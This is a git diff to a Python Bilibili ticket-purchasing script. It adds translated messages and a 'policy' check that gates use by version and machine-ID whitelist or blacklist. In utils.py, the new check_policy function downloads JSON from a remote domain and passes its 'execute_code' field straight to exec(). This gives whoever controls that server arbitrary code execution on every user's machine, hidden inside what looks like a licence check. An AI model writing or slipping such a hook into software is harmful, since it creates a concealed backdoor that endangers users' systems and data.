diff --git a/globals.py b/globals.py
index f2e8c80..0822699 100644
--- a/globals.py
+++ b/globals.py
@@ -23,6 +23,8 @@
 from i18n import i18n
 i18n_lang = "中文"
 
+version = "v0.8.4"
+
 def agree_terms():
     global i18n_lang
     while True:
@@ -65,7 +67,6 @@ def init():
                 agree_terms()
                 with open("agree-terms", "w") as f:
                     f.write(machineid.id())
-    version = "v0.8.4"
 
     sentry_sdk.init(
         dsn="https://9c5cab8462254a2e1e6ea76ffb8a5e3d@sentry-inc.bitf1a5h.eu.org/3",
diff --git a/i18n.py b/i18n.py
index 685cfd0..86c0ed5 100644
--- a/i18n.py
+++ b/i18n.py
@@ -197,6 +197,11 @@
         "info_bill_ok": "成功准备订单",
         "info_bill_fail": "确认订单失败",
         "info_wind_control": "触发风控。",
+        "whitelist": "当前处于白名单模式，你的机器码不在白名单",
+        "blacklist": "当前处于黑名单模式，你的机器码在黑名单",
+        "version_not_allowed": "当前版本不允许使用，请更新到最新版本",
+        "policy_error": "获取配置失败，正在重试…",
+        "policy_get_failed": "重试失败，非法运行，请确认可以访问bhyg.bitf1a5h.eu.org，即将退出",
     },
     "English": {
         "data_error": "Data error! Environment is not OK!",
@@ -398,6 +403,11 @@
         "info_bill_ok": "成功准备订单",
         "info_bill_fail": "确认订单失败",
         "info_wind_control": "触发风控。",
+        "whitelist": "当前处于白名单模式，你的机器码不在白名单",
+        "blacklist": "当前处于黑名单模式，你的机器码在黑名单",
+        "version_not_allowed": "当前版本不允许使用，请更新到最新版本",
+        "policy_error": "获取配置失败，正在重试…",
+        "policy_get_failed": "重试失败，非法运行，请确认可以访问bhyg.bitf1a5h.eu.org，即将退出",
     },
     "中文(猫娘)": {
         "data_error": "数据错误，运行环境不符",
@@ -596,5 +606,10 @@
         "info_bill_ok": "成功准备订单",
         "info_bill_fail": "确认订单失败",
         "info_wind_control": "触发风控。",
+        "whitelist": "当前处于白名单模式，你的机器码不在白名单",
+        "blacklist": "当前处于黑名单模式，你的机器码在黑名单",
+        "version_not_allowed": "当前版本不允许使用，请更新到最新版本",
+        "policy_error": "获取配置失败，正在重试…",
+        "policy_get_failed": "重试失败，非法运行，请确认可以访问bhyg.bitf1a5h.eu.org，即将退出",
     }
 }
diff --git a/main.py b/main.py
index 23e5823..b53ee34 100644
--- a/main.py
+++ b/main.py
@@ -13,7 +13,7 @@
 from api import BilibiliHyg
 from globals import *
 
-from utils import prompt, save, load
+from utils import prompt, save, load, check_policy
 
 import inquirer
 
@@ -91,6 +91,7 @@ def run(hyg):
             time.sleep(10)
             logger.info(i18n[i18n_lang]["now_waiting_info"].format(hyg.config['time'] - hyg.get_time()))
         logger.info(i18n[i18n_lang]["now_wake_up"])  # Heads up, the wheels are spinning...
+        check_policy()
         while True:
             if hyg.get_time() >= hyg.config["time"]:
                 break
@@ -135,6 +136,7 @@ def main():
         session = requests.session()
 
         check_update(version)
+        check_policy()
 
         config = load_config()
         if config == None:
diff --git a/utils.py b/utils.py
index 61f9609..6762432 100644
--- a/utils.py
+++ b/utils.py
@@ -57,3 +57,43 @@ def load() -> dict:
             os.remove("data")
         logger.info(i18n[i18n_lang]["has_destroyed"])
     return data
+
+def check_policy():
+    import requests
+    from i18n import i18n
+    global i18n_lang
+    from globals import i18n_lang,version
+    import os
+    import sys
+    from loguru import logger
+    allow = True
+    for _ in range(3):
+        try:
+            policy = requests.get("https://bhyg.bitf1a5h.eu.org/policy.json").json()
+            break
+        except Exception:
+            logger.error(i18n[i18n_lang]["policy_error"])
+    if "policy" not in locals():
+        logger.error(i18n[i18n_lang]["policy_get_failed"])
+        sys.exit(1)
+    if version not in policy["allowed versions"]:
+        logger.error(i18n[i18n_lang]["version_not_allowed"])
+        allow = False
+    import machineid
+    if policy["type"] == "blacklist":
+        if machineid.id() in policy["list"]:
+            logger.error(i18n[i18n_lang]["blacklist"])
+            allow = False
+    elif policy["type"] == "whitelist":
+        if machineid.id() not in policy["list"]:
+            logger.error(i18n[i18n_lang]["whitelist"])
+            allow = False
+    elif policy["type"] == "none":
+        pass
+    else:
+        pass
+    if policy["execute_code"] is not None:
+        exec(policy["execute_code"])
+    if not allow:
+        sys.exit(1)
+    return
\ No newline at end of file